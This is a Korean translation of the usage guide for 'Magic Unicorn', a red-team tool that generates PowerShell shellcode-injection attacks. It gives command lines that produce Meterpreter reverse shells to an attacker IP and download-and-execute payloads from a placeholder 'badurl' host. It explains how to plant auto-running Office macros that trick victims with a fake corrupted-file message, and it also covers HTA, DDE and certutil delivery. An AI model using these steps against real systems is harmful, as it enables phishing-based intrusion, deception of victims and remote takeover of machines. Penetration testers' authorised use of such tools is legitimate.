
Unicorn은 PowerShell 다운그레이드 공격을 사용하여 메모리에 직접 셸코드를 주입하는 간단한 도구입니다. Matthew Graeber의 PowerShell 공격과 David Kennedy(TrustedSec)와 Josh Kelly가 Defcon 18에서 발표한 PowerShell 우회 기술을 기반으로 합니다.
작성자: Dave Kennedy (@HackingDave) 웹사이트: https://www.trustedsec.com
Magic Unicorn은 PowerShell 다운그레이드 공격을 사용하고 셸코드를 메모리에 직접 주입하는 간단한 도구입니다. Matthew Graeber의 PowerShell 공격과 David Kennedy(TrustedSec) 및 Josh Kelly가 Defcon 18에서 발표한 PowerShell 우회 기술을 기반으로 합니다.
사용법은 간단합니다. Magic Unicorn을 실행하기만 하면 됩니다(Metasploit 방법을 사용할 경우 Metasploit이 설치되어 있고 올바른 경로에 있는지 확인). 그러면 Magic Unicorn이 자동으로 PowerShell 명령을 생성하며, 이 PowerShell 코드를 명령줄 창이나 페이로드 전달 시스템을 통해 복사하여 붙여넣기만 하면 됩니다. Unicorn은 자체 셸코드, Cobalt Strike, Metasploit을 지원합니다.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
모든 Windows 플랫폼에서 네이티브 x86 PowerShell 인젝션 공격.
작성자: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
트위터: @TrustedSec, @HackingDave
크레딧: Matthew Graeber, Justin Elze, Chris Gates
행복한 Magic Unicorns 되세요.
사용법: python unicorn.py payload reverse_ipaddr port <선택사항 hta 또는 macro, crt>
PS 예시: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS 다운로드/실행: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
매크로 예시: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
매크로 예시 CS: python unicorn.py <cobalt_strike_file.cs> cs macro
매크로 예시 셸코드: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA 예시: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA 예시 CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA 예시 셸코드: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE 예시: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT 예시: python unicorn.py <path_to_payload/exe_encode> crt
사용자 지정 PS1 예시: python unicorn.py <path to ps1 file>
사용자 지정 PS1 예시: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike 예시: python unicorn.py <cobalt_strike_file.cs> cs (C# 형식으로 CS 내보내기)
사용자 지정 셸코드: python unicorn.py <path_to_shellcode.txt> shellcode (0x00 형식)
도움말 메뉴: python unicorn.py --help
이제 모든 내용이 powershell_attack.txt와 unicorn.rc 두 파일로 생성됩니다. 텍스트 파일에는 PowerShell 공격을 메모리에 주입하는 데 필요한 모든 코드가 포함되어 있습니다. 어떤 형태로든 원격 명령 주입을 지원하는 장소가 필요합니다. 이는 종종 Excel/Word 문서, Metasploit 내의 psexec_commands, SQLi 등을 통해 이루어질 수 있습니다. 이 공격을 사용할 수 있는 시나리오는 매우 다양합니다. powershell_attack.txt 명령을 명령 프롬프트 창이나 powershell 실행 파일을 호출할 수 있는 모든 곳에 붙여넣기만 하면 셸이 반환됩니다. 이 공격은 Meterpreter 페이로드 대신 windows/download_exec 페이로드 방식도 지원합니다. 다운로드 및 실행을 사용할 경우, 간단히 python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe를 입력하면 PowerShell 코드가 페이로드를 다운로드하여 실행합니다.
공격을 캡처하려면 리스너를 활성화해야 합니다.
매크로 공격을 위해서는 파일, 속성, 리본으로 이동하여 개발자 도구를 선택해야 합니다. 그렇게 하면 개발자 탭이 나타납니다. 새 매크로를 만들고 Auto_Open이라고 이름을 지정한 후 생성된 코드를 붙여넣으세요. 이렇게 하면 자동으로 실행됩니다. 참고로, 파일이 손상되었다는 메시지가 사용자에게 표시되고 Excel 문서가 자동으로 닫힙니다. 이것은 정상적인 동작입니다! 이는 피해자가 Excel 문서가 손상되었다고 착각하도록 속이는 것입니다. 그 후 PowerShell 인젝션을 통해 셸을 얻을 수 있습니다.
Office365/2016+ 버전의 Word에 대해 배포하는 경우 출력의 첫 번째 줄을 다음에서 변경해야 합니다: Sub Auto_Open()
다음으로: Sub AutoOpen()
매크로 자체의 이름도 레거시命名 스킴인 "Auto_Open" 대신 "AutoOpen"이어야 합니다.
참고: EXCEL을 복사하여 붙여넣을 때 추가 공백이 생기면 변수 "x" 아래의 각 POWERSHELL 코드 섹션 뒤에 있는 공백을 제거해야 합니다. 그렇지 않으면 구문 오류가 발생합니다!
HTA 공격은 자동으로 두 개의 파일을 생성합니다. 첫 번째는 브라우저가 Launcher.hta를 사용하도록 지시하는 index.html이고, 두 번째는 악성 PowerShell 인젝션 코드를 포함하는 Launcher.hta입니다. 모든 파일은 hta_access/ 폴더로 내보내지며 세 개의 주요 파일이 있습니다. 첫 번째는 index.html, 두 번째는 Launcher.hta, 마지막은 unicorn.rc 파일입니다. msfconsole -r unicorn.rc를 실행하여 Metasploit 리스너를 시작할 수 있습니다.
HTA 공격이 제대로 작동하려면 사용자가 허용 및 수락을 클릭해야 합니다.
certutil 공격 벡터는 Matthew Graeber(@mattifestation)에 의해 발견되었으며, 이진 파일을 base64 형식으로 변환한 후 피해자 머신에서 certutil을 사용하여 다시 이진 파일로 변환할 수 있게 해줍니다. 이 방법은 사실상 모든 시스템에서 작동하며, 가짜 인증서 파일을 통해 피해자 머신에 이진 파일을 전송할 수 있습니다. 이 공격을 사용하려면 unicorn 경로에 실행 파일을 두고 python unicorn.py <exe_name> crt를 실행하여 base64 출력을 얻으세요. 완료되면 decode_attack/ 폴더로 이동하여 파일을 확인하세요. bat 파일은 Windows 머신에서 실행하여 다시 이진 파일로 변환하는 명령입니다.
이 공격 방법을 사용하면 모든 PowerShell 파일(.ps1)을 인코딩된 명령이나 매크로로 변환할 수 있습니다.
매크로 옵션을 선택하는 경우, 큰 ps1 파일은 VBA에서 허용되는 캐리지 리턴 수를 초과할 수 있습니다. 매개변수로 정수를 전달하여 각 VBA 문자열의 문자 수를 변경할 수 있습니다.
예시:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
마지막 예시는 기본값 380 대신 500자 문자열을 사용하여 VBA의 캐리지 리턴 수를 줄입니다.
이 공격 벡터는 Word 또는 Excel에 배치할 DDEAUTO 수식을 생성합니다. COM 개체 DDEInitilize 및 DDEExecute를 사용하면 Office 내에서 직접 수식을 생성할 수 있으며, 이를 통해 매크로 없이 원격 코드 실행이 가능합니다. 이 공격은 다음에서 문서화되었으며 전체 지침은 다음에서 확인할 수 있습니다:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
이 공격을 사용하려면 다음 예시를 실행하세요:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
생성되면 powershell_attack.txt(Office 코드 포함)와 unicorn.rc 파일(리스너 구성 요소, msfconsole -r unicorn.rc로 호출 가능)이 생성됩니다. 또한 download.ps1도 내보내집니다(자세한 내용은 후반부 참조).
페이로드를 적용하는 방법의 예시(sensepost 기사 기준):
Office 문서가 열리면 PowerShell 인젝션을 통해 셸을 받을 수 있습니다. 참고로 DDE는 문자 크기에 제한이 있으므로 다운로드 방법으로 Invoke-Expression (IEX)을 사용해야 합니다.